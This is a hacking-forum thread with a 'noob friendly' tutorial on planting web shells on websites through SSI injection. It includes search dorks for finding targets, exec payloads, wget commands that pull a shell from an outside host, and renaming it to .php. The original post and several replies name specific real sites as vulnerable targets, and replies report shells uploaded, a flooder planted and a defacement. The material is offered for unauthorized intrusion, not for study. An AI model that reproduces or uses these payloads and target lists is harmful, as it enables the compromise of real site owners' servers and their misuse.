

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Upload a shell via SSI injection \[Noob Friendly\]](#)

HaxOr? - June 21, 2012, 4:25 am

Hi guys! After so much questions about SSI injection i decided to make a tutorial on how to spawn a actual shell.

So lets begin:

Things you will need:

- 1) Site vulnerable to SSI injection (I will be giving few dorks and few vulnerable sites to practice on)
- 2) Common sense.

What is SSI?

SSI Injection (Server-side Include) is a server-side exploit technique that allows an attacker to send code into a web application, which will later be executed locally by the web server. SSI Injection exploits a web application's failure to sanitize user-supplied data before they are inserted into a server-side interpreted HTML file.

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

If an attacker submits a Server-side Include statement, he may have the ability to execute arbitrary operating system commands, or include a restricted file's contents the next time the page is served.

Description Taken From: <http://nightcode.weebly.com/ssi-injection.html>

Chapter I - Finding a vulnerable site

I will provide few dorks for this tipe of injection.

Best dork i found is inurl:bin/CkIb/ but it gave about 863 results so not that usable.

Lets get to work shall we :P

Enter inurl:bin/CkIb/ in Google and go testing...

Chapter II - Testing a site

So when you used that dork and you opened one site now you must determine id the site is vulnerable to this type of injection.

Here are some command you can use:

Credits: Stewie™

Spoiler ([Click to View](#))

```
<!--#echo var="DATE_LOCAL" -->
```

Will display the Date

```
<!--#exec cmd="whoami"-->
```

Will show which user is running on the server

```
<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)
```

Will display all files in the directory

```
<!-- #exec cmd="dir" --> (Windows)
```

Will display all files in the directory

Note: You will need to use the `<pre></pre>` tags to have some commands executed.

Now take one of the commands and insert it in search boxes or login fields.

Mostly login fields are vulnerable but there are some cases when search boxes are vulnerable.

NOTE: You must enter your command into both fields (If login are vulnerable!!)

I have my site for example:

<http://dev.stockphotosamerica.com/bin/CkIb>

Spoiler ([Click to View](#))

PLEASE BE REASONABLE TO THIS SITE.

DO NOT RAPE IT!

And when insert any command:

Spoiler ([Click to View](#))

Used:

```
Code <pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>
```

[img]http://img843.imageshack.us/img843/6673/regionyo.png[/img]

[img]http://img4.imageshack.us/img4/8881/regionoq.png[/img]

Now we see that our command successfully executed and that our site is vulnerable....

Chapter III - Spawning a shell

So we have our vulnerable site and we are ready to upload a shell.

First of all you will need a .TXT of your favourite shell (Host it somewhere free hosting, hacked site or anything you got)

Now we must download it to our site like this:

```
Code [b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt" -->
```

So insert your site where your shell is hosted in the command and you are ready to go.

Now just paste it into the fields and press Login or Enter.

[img]http://img135.imageshack.us/img135/3338/regiontv.png[/img]

To see if your .TXT file downloaded execute the command we used before:

```
Code <pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>
```

[img]http://img690.imageshack.us/img690/2006/regionwt.png[/img]

If you see that it downloaded successfully now you must rename it from .txt to .php!
You can use this command

Code [b]<!--[/b]#exec cmd="mv shell.txt shell.php" -->

You rename filenames what ever you need (Offcourse you will need to put your .TXT name first.)

My command:

Code [b]<!--[/b]#exec cmd="mv config1.txt config.php" -->

Now again list the files and try to find your file now.

If you did now just access it.

[img]http://img803.imageshack.us/img803/2275/regionr.png[/img]

[img]http://img407.imageshack.us/img407/1079/regionqn.png[/img]

[img]http://img339.imageshack.us/img339/3094/regioncw.png[/img]

That would be end of this tutorial.

I hope you learned something and do not rape sites with this

(Be smart and use them)

Dorks

Credits: Stewie™

Spoiler ([Click to View](#))

inurl:bin/CkIb/ - Best Dork

inurl:login.shtml

inurl:login.shtm

inurl:login.stm

inurl:search.shtml

inurl:search.shtm

inurl:search.stm

inurl:forgot.shtml

inurl:forgot.shtm

inurl:forgot.stm

inurl:register.shtml

inurl:register.shtm

inurl:register.stm

inurl:login.shtml?page=

Vulnerable site to practice on:

Credits: Dan

<https://hackforums.net/showthread.php?tid=2603780>

xx 0x0 xx - June 21, 2012, 4:28 am

wow very nice and detailed and short tutorial i was hope to learn how to do it from long time :) thx
alot brother

best regards

mats0o0o0

sl4sh3rz - June 21, 2012, 4:33 am

thanks for sharing this ,,your greate dude ^_^.. .. .

N3p BoY - June 21, 2012, 4:38 am

ya good tutorial bro :)

but very disappointed with you coz you kept me in a Ignore List

bad - June 21, 2012, 4:41 am

Another great and HQ tutorial from ?? ? x O r ? . You are the life of "Website and Forum Hacking" forum.

Verilog - June 21, 2012, 4:43 am

Just bookmarked this tutorial, awesome ?

Crysan - June 21, 2012, 5:17 am

Good tutorial bra, just want to test it out and see how it works, I know now 1 more thing to do with XSS >D.

BeggFoMercy - June 21, 2012, 5:38 am

Nice work my man , Keep it up <3 .. XD

Zhen. - June 21, 2012, 6:44 am

As usual, always a great tut from my bro <3

Keep it up Hax0r :3

Prominent - June 21, 2012, 6:52 am

All I can say is that I'm glad SSI is now more known in here. Well written tutorial <3

Th3PonyWizard - June 21, 2012, 8:24 am

Nice tut. It's a shame that there's not that much vulns overall. Although, there's POST, USER AGENT, and COOKIE parameters, I wonder if the same might apply there~

DeathSh0t18 - June 21, 2012, 8:37 am

Really helpful guide! Thank you. How long did it take you to write all this?

Team4o4 - June 21, 2012, 10:08 am

Could someone help me? I have the shell on my server... I do the command `<!--#exec cmd="wget http://mysitehe.re/config.txt"` -->

Then I check the files but it is never there... What am I doing wrong?

Th3PonyWizard - June 21, 2012, 10:11 am

(Jun 21, 2012 10:08 AM)KyleBoyer Wrote: [\[CITE\]](#) Could someone help me? I have the shell on my server... I do the command `<!--#exec cmd="wget http://mysitehe.re/config.txt"` -->

Then I check the files but it is never there... What am I doing wrong?Do

`<!--#exec cmd="wget http://mysitehe.re/config.txt -O pony.php"` -->

Instead. then, go to the folder the shell got installed, under pony.php.

:3

Team4o4 - June 21, 2012, 10:13 am

I just tried that too... Maybe is it the website? <http://www.getstock.com/user/login.shtml>

Do you have MSN we could chat on?

On the post i got it said: To get a shell up, just wget the shellcode and make the output something such as "shell.txt".

So does that mean I need to do something differently?

nate3779 - June 21, 2012, 10:21 am

the wget line isnt written correctly i think. and Great, Great post OP

HaxOr? - June 21, 2012, 10:33 am

(Jun 21, 2012 10:13 AM)KyleBoyer Wrote: [\[CITE\]](#) I just tried that too... Maybe is it the website?
<http://www.getstock.com/user/login.shtml>

Do you have MSN we could chat on?

On the post i got it said: To get a shell up, just wget the shellcode and make the output something such as "shell.txt".

So does that mean I need to do something differently?

No.

You just download your shell with this:

Code `[b]<!--[/b]#exec cmd="wget http://website.com/youshellintxtformat.txt" -->`
And rename it:

Code `[b]<!--[/b]#exec cmd="mv youshellintxtformat.txt shell.php" -->`

Team4o4 - June 21, 2012, 11:00 am

(Jun 21, 2012 10:33 AM)?? ? x O r ? Wrote: [\[CITE\]](#) No.
You just download your shell with this:

Code `[b]<!--[/b]#exec cmd="wget http://website.com/youshellintxtformat.txt" -->`
And rename it:

Code `[b]<!--[/b]#exec cmd="mv youshellintxtformat.txt shell.php" -->`
Im sorry but my wget isn't working... Could it be my server not allowing it?

HaxOr? - June 21, 2012, 11:12 am

(Jun 21, 2012 11:00 AM)KyleBoyer Wrote: [\[CITE\]](#) Im sorry but my wget isn't working... Could it be my server not allowing it?
On that site it isn't working.
Try site i gave in OP...

Th3PonyWizard - June 21, 2012, 11:13 am

(Jun 21, 2012 11:12 AM)?? ? x O r ? Wrote: [\[CITE\]](#) On that site it isn't working.
Try site i gave in OP...It's working partly. I ran different commands, but seems like that wget command specifically does not work.

Team4o4 - June 21, 2012, 11:21 am

(Jun 21, 2012 11:12 AM)?? ? x O r ? Wrote: [\[CITE\]](#) On that site it isn't working.
Try site i gave in OP...
The link you gave in the OP doesn't even show the fields... it just says this:

[img]http://www.kylem.in/e.png[/img]

Okay well after just going to their main site and using the search function, I was able to upload my shell(twice by accident) and rename them to shell.php and tmp01.php as you can see here:

http://stockphotosamerica.com/SwishSearch?glo=1&max_res=200&Keywords=%3Cpre%3E%3C%21--%23exec+cmd%3D%22ls+-a%22+---%3E%3C%2Fpre%3E

But when I try to access those pages, the page is completely white... Is it my shell... or what is up? I was just using the I-47 shell.

Turns out it was the shell not working for some reason, but now I got a working one up at

<http://stockphotosamerica.com/tmp03.php>

Suved - June 21, 2012, 9:50 pm

awesome tutorial.

Thanks for writing such great tutorial. ?

A V A T A R - June 21, 2012, 10:26 pm

(Jun 21, 2012 09:50 PM)Suved Wrote: [\[CITE\]](#) awesome tutorial.

Thanks for writing such great tutorial. ?

Where do I get any shell?

I want to upload something. XD

Team4o4 - June 21, 2012, 10:33 pm

(Jun 21, 2012 10:26 PM)A V A T A R Wrote: [\[CITE\]](#) Where do I get any shell?

I want to upload something. XD

PM me I'll give you a shell.

Spoiler ([Click to View](#))Jeez 35 characters is annoying me

A V A T A R - June 21, 2012, 11:53 pm

It says "wrong username" when I upload the shell.

RIPPER - June 22, 2012, 12:19 am

Great tut h4x0r....Thanks for doing this and explaining it more...

nate3779 - June 22, 2012, 12:27 am

Somone uploaded a UDP flood, EPIC lol

<http://stockphotosamerica.com/old.index.php>

inurl - June 22, 2012, 1:41 am

really good job sir, nice explain and easy to understand for reverse shell , well done +1

The Discover - June 22, 2012, 2:30 am

i am your fan now because the way you explain is very awesome .

thanks you for the tut

Sw1x - June 22, 2012, 2:39 am

Nice work, HQ, keep it up! ?

Oats??? - June 22, 2012, 5:14 am

Great guide, will be testing it out later, thanks for the share man.

-Oats ?

HECTØR - June 22, 2012, 5:47 am

great tutorial bro
thank you very much.

Onju - June 22, 2012, 6:00 am

Great tutorial bro'
I love it. Thanks for share

fobber - June 22, 2012, 6:15 am

Nice tutorial as always, Haxor.
Reminds me a lot of Stewies tutorial. But oh well.

Anyway. I found a SSI vulnerable website. I was able to get the current time, and list all files in the folder. But I wasn't able to upload a txt file to there.

I used this code:

Code `[b]<!--[/b]#exec cmd="wget http://***/zhellz/sea.txt" -->`It gave me this message (as expected):
Sign-in is required to use the lightbox functions. The user: , does not exist, please try again.

I tren tried listing all files on there using this:

Code `<pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>`
But sea.txt was no where to be found. Did I do anything wrong?

When I use ls -a to list all the files, I do see a lot of shells have been uploaded already.
GHOST_SH3LL.php, c100.php, shellie.php, sym.php, wso.php and more.

HaxOr? - June 22, 2012, 6:16 am

(Jun 22, 2012 06:15 AM)fobber Wrote: [\[CITE\]](#) Nice tutorial as always, Haxor.
Reminds me a lot of Stewies tutorial. But oh well.

Anyway. I found a SSI vulnerable website. I was able to get the current time, and list all files in the folder. But I wasn't able to upload a txt file to there.

I used this code:

Code `[b]<!--[/b]#exec cmd="wget http://***/zhellz/sea.txt" -->`It gave me this message (as expected):
Sign-in is required to use the lightbox functions. The user: , does not exist, please try again.

I tren tried listing all files on there using this:

Code `<pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>`
But sea.txt was no where to be found. Did I do anything wrong?

Maybe wget function is disabled.

Try another site... :)

fobber - June 22, 2012, 6:26 am

(Jun 22, 2012 06:16 AM)?? ? x O r ? Wrote: [\[CITE\]](#) Maybe wget function is disabled.
Try another site... :)

Perhaps. I just find it weird that so many others have succeeded to upload a shell then. Oh well. I will try the next vulnerable site on Dans list! :)

I found a file called sym.php, and through that I was able to upload a shell. Of course that isn't what I wanted. I wanted to do it through SSI, not through an already existing PHP file. The file I uploaded, gave me this information though:

Code Operating System : Linux ***.org 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:49 EDT 2009
x86_64

Server Name : www.***.com
Disable_Functions : All Functions Enable
Safe_Mode : Off
Openbase_dir :
Php Version : 5.1.6
Free Space : 1.71 GB
Total Space : 2.91 GB
Register_Globals : disable
Curl : disable
Database
Server Name : www.***.com
Admin Server : you@example.com

sam2011hacker - June 22, 2012, 6:26 am

Haxor did i told u that i love u. Be my teacher please

Onju - June 22, 2012, 6:30 am

?? ? x O r ? > Why is impossible to see shell control panel?
white page.

HaxOr? - June 22, 2012, 6:34 am

(Jun 22, 2012 06:26 AM)fobber Wrote: [\[CITE\]](#) Perhaps. I just find it weird that so many others have succeeded to upload a shell then. Oh well. I will try the next vulnerable site on Dans list! :)

I found a file called sym.php, and through that I was able to upload a shell. Of course that isn't what I wanted. I wanted to do it through SSI, not through an already existing PHP file. The file I uploaded, gave me this information though:

Code Operating System : Linux ***.org 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:49 EDT 2009
x86_64

Server Name : www.***.com
Disable_Functions : All Functions Enable
Safe_Mode : Off
Openbase_dir :
Php Version : 5.1.6
Free Space : 1.71 GB
Total Space : 2.91 GB
Register_Globals : disable
Curl : disable
Database
Server Name : www.***.com
Admin Server : you@example.com
PM me the site and i will help you. :)

(Jun 22, 2012 06:30 AM)Onju Wrote: [\[CITE\]](#) ?? ? x O r ? > Why is impossible to see shell control panel?
white page.
Try other shell.

Prx3R0 - June 22, 2012, 6:37 am

Nice tut like all your tuts haxor ^_^ Thanks!

But yesterday i upload a shell using SSI Injection. I defaced the site, and just me saw the deface.
why ?

Onju - June 22, 2012, 6:47 am

I test a shell on my website, and it's work properly :o

The Decoder - June 22, 2012, 7:36 am

Thats Great tut buddy

lukiing lyk lfi

nice share

akatzbreaker - June 22, 2012, 7:40 am

Great Tutorial! I hadn't heard of SSI Injection before but I find it really easy!

CamIce - June 22, 2012, 2:50 pm

Hello! Great tut! I've never heard about SSI injection before, so thanks for that!

I have only 1 problem: when I execute teh wget command on a login (yes, i put the same in user,- and password place), it does not upload my shell in to the server. Do you know why it happens so? I am sure that the website is not filtering my input, because the other commands works as they should work.

Team4o4 - June 22, 2012, 3:09 pm

(Jun 22, 2012 02:50 PM)CamIce Wrote: [\[CITE\]](#) Hello! Great tut! I've never heard about SSI injection before, so thanks for that!

I have only 1 problem: when I execute teh wget command on a login (yes, i put the same in user,- and password place), it does not upload my shell in to the server. Do you know why it happens so? I am sure that the website is not filtering my input, because the other commands works as they should work.

Some sites block or don't work with wget commands... Don't know why...

CamIce - June 22, 2012, 3:24 pm

Aight. Thanks for the answer :D.

Have to go look for another site now :P

soeasy - June 22, 2012, 4:53 pm

Excellent tutorial. ?

You really helped me.

~soeasy

Naww - June 23, 2012, 12:12 am

Is there a technique to bypass WAF?

Th3PonyWizard - June 23, 2012, 1:52 am

Question, though

Why use two requests, when you're have the ability to inject in one request?

Code [b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt -O shell.php" -->Would save time.

HaxOr? - June 23, 2012, 7:21 am

(Jun 23, 2012 01:52 AM)Th3PonyWizard Wrote: [\[CITE\]](#) Question, though

Why use two requests, when you're have the ability to inject in one request?

Code [b]<!--[/b]#exec cmd="wget http://website.com/dir/shell.txt -O shell.php" -->Would save time.

I don't know.

I personally like other way. ?

akatzbreaker - June 24, 2012, 4:53 pm

wget function has been disabled on many websites... That's why many members have problems...

Naww - June 26, 2012, 12:21 am

Hello again :D

Im looking for getting these cracked if u will.

Code c12ca10cff740b7ae0880af5817670ff
ec9713f436fec02858f1d10e737ac0c2

I dont mean to rush or anything but i quite important for me to get these cracked :s

Thnx for ur attention ?

fail forum sry lol

vLayer - June 26, 2012, 12:53 am

Very nice tutorial bro, keep it updated xD

king225 - June 26, 2012, 1:24 am

Another great and HQ tutorial from ?? ? x O r ? . You are the life of "Website and Forum Hacking" forum.

Natalie Portman - June 26, 2012, 4:02 am

Another great share, Haxor.

I've been interested in SSI injection for some time, though never knew the mechanics of it.

Thanks!

- Alucard.

TheMaTriX22 - June 26, 2012, 4:45 am

thank you

very good tutorial

keep it up!

tux1 - June 26, 2012, 5:07 am

Nice tutorial will try this out later.

probably102 - June 30, 2012, 11:35 am

Lol when i tried this i ended up on this: Code

http://www.nsa.gov/?I+AM+A+HACKER+AND+I+WAS+TRYING+TO+BREAK+INTO+A+SITE+WIT
H+SSI+INJECTION+EXEC+CMD+TYPE+ATTACK+AND+SO+THEY+SENT+ME+HERE.+PLEASE
+COME+FIND+MEAnd i had no vpn on am i at risk lol

Delegate - June 30, 2012, 11:38 am

(Jun 30, 2012 11:35 AM)probably102 Wrote: [\[CITE\]](#) Lol when i tried this i ended up on this: Code

http://www.nsa.gov/?I+AM+A+HACKER+AND+I+WAS+TRYING+TO+BREAK+INTO+A+SITE+WIT
H+SSI+INJECTION+EXEC+CMD+TYPE+ATTACK+AND+SO+THEY+SENT+ME+HERE.+PLEASE
+COME+FIND+MEAnd i had no vpn on am i at risk lol

Hahah

Happened to me on like 3 sites same url lol

Penny - June 30, 2012, 1:32 pm

Lmao, just got redirected to this when I put in the code.

[img]http://i.imm.io/uA1U.png[/img]

Fiddle - July 1, 2012, 2:49 pm

hey hmm yeah thx for sharing and no offensive but... if you type this it gives you this and if you type this it will gave you that. I woul appreciate it if there would be some quellcode and explained more in detail what will parsed to it and how it will be executed... eventhough thx for sharing, greedings.

akatzbreaker - July 2, 2012, 2:42 am

(Jul 1, 2012 02:49 PM)Fiddle Wrote: [\[CITE\]](#) hey hmm yeah thx for sharing and no offensive but... if you type this it gives you this and if you type this it will gave you that. I woul appreciate it if there would be some quellcode and explained more in detail what will parsed to it and how it will be executed... eventhough thx for sharing, greedings.

The code inputted in the quotes ("") is Bash (Unix Terminal Commands)...

The <pre></pre> are just HTML and are used to make the output of the "ls -la" command readable... You can try to execute the command without the <pre></pre> tags...

The <!-- --> are used to make comments in HTML...

I hope I helped you!

AceVoid - July 2, 2012, 3:15 am

This is a great tutorial but not really helpful to me cause I cant find one site that has this venerability... And Google gives me just 4 pages with the dork

ludo0777 - July 2, 2012, 12:54 pm

Um, tried this on a site and it redirected me to a government website saying I tried SSI injection and failed. LOL

rufinatti - July 2, 2012, 1:28 pm

this was a well written tutorial. thanks for posting.

MrPaxio - August 7, 2012, 3:00 pm

lololol xD it redirected me to

<http://www.nsa.gov/?I+AM+A+HACKER+AND+I+WAS+TRYING+TO+BREAK+INTO+A+SITE+WITH+SSI+INJECTION+EXEC+CMD+TYPE+ATTACK+AND+SO+THEY+SENT+ME+HERE.+PLEASE+COME+FIND+ME>

ownster - August 7, 2012, 3:13 pm

(Aug 7, 2012 03:00 PM)MrPaxio Wrote: [\[CITE\]](#) lololol xD it redirected me to

<http://www.nsa.gov/?I+AM+A+HACKER+AND+I+WAS+TRYING+TO+BREAK+INTO+A+SITE+WITH+SSI+INJECTION+EXEC+CMD+TYPE+ATTACK+AND+SO+THEY+SENT+ME+HERE.+PLEASE+COME+FIND+ME>SAME LOL ??????

Define© - August 7, 2012, 3:45 pm

SSI is basically dead, just like RFI.

DirgofCeberus - August 8, 2012, 5:01 am

Really like your tutorial Thanks a lot!

fatticus - August 8, 2012, 5:11 am

Very interesting, Thanks for sharing !

G0ld3nPh30niX Ash3s - August 8, 2012, 5:25 am

(Aug 7, 2012 03:13 PM)ownster Wrote: [\[CITE\]](#) SAME LOL ??????
Same here... lolzz.. 35 characters long.

ALEX - August 8, 2012, 5:28 am

thank you for this tutorial ! :D ~~

newestmemberhere - August 27, 2012, 9:00 pm

would someone be able to help me out with this please. i want to try this out but there is too much i dont yet understand. i have alot of questions. so if anyone could assist my learning in this please do so. thanks in advance to anyone with some free time.

12345xmen - August 27, 2012, 10:00 pm

gr8 tut budy..i like it..thanks for this tut

MISTUGAN - August 27, 2012, 11:45 pm

Very Nice tutorials bro...

This attack is new for me...

Thanks...

Stewie™ - August 31, 2012, 5:03 am

Nice Tutorial, thanks for giving a bit of credit on some of the sections.

Seems SSI is becoming more known on HF haha, when I posted my tutorial no one barely knew what it was.

You can add these websites if you like to the thread for more SSI "Practice".

Code == SSI in Login Forms ==

<http://www.getstock.com/bin/Cklb/login.shtml>
http://www.inlux.com/user/login_again.shtml
<http://www.eyecandyimages.com/bin/Profile?ref=>
<http://www.sarahalexanderphotography.com/user/login.shtml>
<http://www.stockshop.com/bin/Cklb>
<https://antphoto.com.au/bin/Cklb>
<http://www.iloveimages.com/bin/Cklb>
http://www.destinationphotography.com/user/login_again.shtml
<http://www.minnowimages.com/bin/Cklb?ref=>
<http://www.gabepalacio.com/fsearch.shtml>
<http://www.ipnstock.com/bin/Cklb>
<http://www.transtock.com/bin/Cklb>
<http://www.auroraphotos.com/user/2login.shtml>
<http://www.glasshouseimages.com/user/login.shtml>
<http://musiclicensingstore.com/bin/Login?>
http://www.classicstock.com/user/login_again.shtml
<http://www.estostock.com/bin/Cklb/>
<http://www.cgibackgrounds.com/bin/Cklb>
http://www.bostonpicturegroup.com/user/login_again.shtml
http://www.woodpilestock.com/user/login_again.shtml

<http://www.fogstock.com/bin/Cklb>
<http://dev.stockphotosamerica.com/bin/Cklb?ref=caringphotographystock.com/fs.shtml?/bin/Cklb?ref=/user/search.shtml> - Both Login & Search are Vulnerable

== SSI In Searches ==

[http://www.tetraimagesrf.com/SwishSearch?Keywords=\[SSI_Command_Here\]](http://www.tetraimagesrf.com/SwishSearch?Keywords=[SSI_Command_Here])
[http://www.scphotos.com/SwishSearch?Keywords=\[SSI_Command_Here\]](http://www.scphotos.com/SwishSearch?Keywords=[SSI_Command_Here])
[http://www.win-initiative.com/SwishSearch?Keywords=\[SSI_Command_Here\]](http://www.win-initiative.com/SwishSearch?Keywords=[SSI_Command_Here])
[http://www.peterbkaplanstock.com/bin/SearchGuest?Keywords=\[SSI_Command_Here\]](http://www.peterbkaplanstock.com/bin/SearchGuest?Keywords=[SSI_Command_Here])

The Ion - August 31, 2012, 6:52 am

nice tutorial but like lot of sites have already patched it nice tut though !

thePeople - August 31, 2012, 10:53 am

Very cool thanks for the tutorial! I can't wait to try it out

newestmemberhere - September 1, 2012, 7:36 am

Is all you really need for this is a vpn?

dex73r - September 1, 2012, 7:41 am

Cool, wanna moar tuts like dat :P Thanks for this :D

Rossticle - April 15, 2014, 8:00 pm

this takes me to the NSA website? why is that

WACKO - April 15, 2014, 8:49 pm

(Apr 15, 2014 08:00 PM)Rossticle Wrote: [\[CITE\]](#) this takes me to the NSA website? why is thatWhat the fuck are you on about?

Although this thread is old af, it was still a great read. Thanks.

Darck Loard - April 15, 2014, 11:54 pm

thanks bro good topic ????

Floozythwoozy - September 9, 2014, 8:56 pm

I learned a lot from this, thanks a lot man, people like you make this site amazing

errorcode200 - September 9, 2014, 9:30 pm

OMG. HOW. THE. FUCK.

i just tried to do this on a site and it redirected me to

<https://nsa.gov/?I+AM+A+HACKER+AND+I+WAS+TRYING+TO+BREAK+INTO+A+SITE+WITH+SSI+INJECTION+EXEC+CMD+TYPE+ATTACK+AND+SO+THEY+SENT+ME+HERE.+PLEASE+COME+FIND+ME>.

FOR REAL!!!!!!

(Apr 15, 2014 08:00 PM)Rossticle Wrote: [\[CITE\]](#) this takes me to the NSA website? why is that dude it did that for you too??? THIS. IS. SO. FREAKY.

what site were you trying to inject?? maybe it was the same one. i did travistock.com.
er no sorry it was transtock.com.

(extra chars)

omg this one too does exactly the same thing

<http://www.win-initiative.com/bin/Cklb?ref=%2Fwindowdownloads.shtml>

Frosteh - September 10, 2014, 3:24 am

Thanks, great tutorial, I've never done this kind of attack before, appreciate being educated :)

Floozythwoozy - September 10, 2014, 4:16 am

I liked this, bookmarking it for further use, thanks man!

ktmercedes - September 11, 2014, 1:51 am

Excellent Tut Bro. There is something new i learned today

get rekt scrub - October 3, 2014, 2:45 pm

Anybody have a shell I could use? Derp derp

CryingMidget - October 3, 2014, 11:51 pm

Thanks very helpful! Easy to follow.

7h3_Ph3n0m - July 7, 2016, 3:36 am

Any video tutorials regarding this if anyone have the links PM me ,i would really appreciate. ?

Shinzawai - July 8, 2016, 1:28 am

thanks for the tutorial...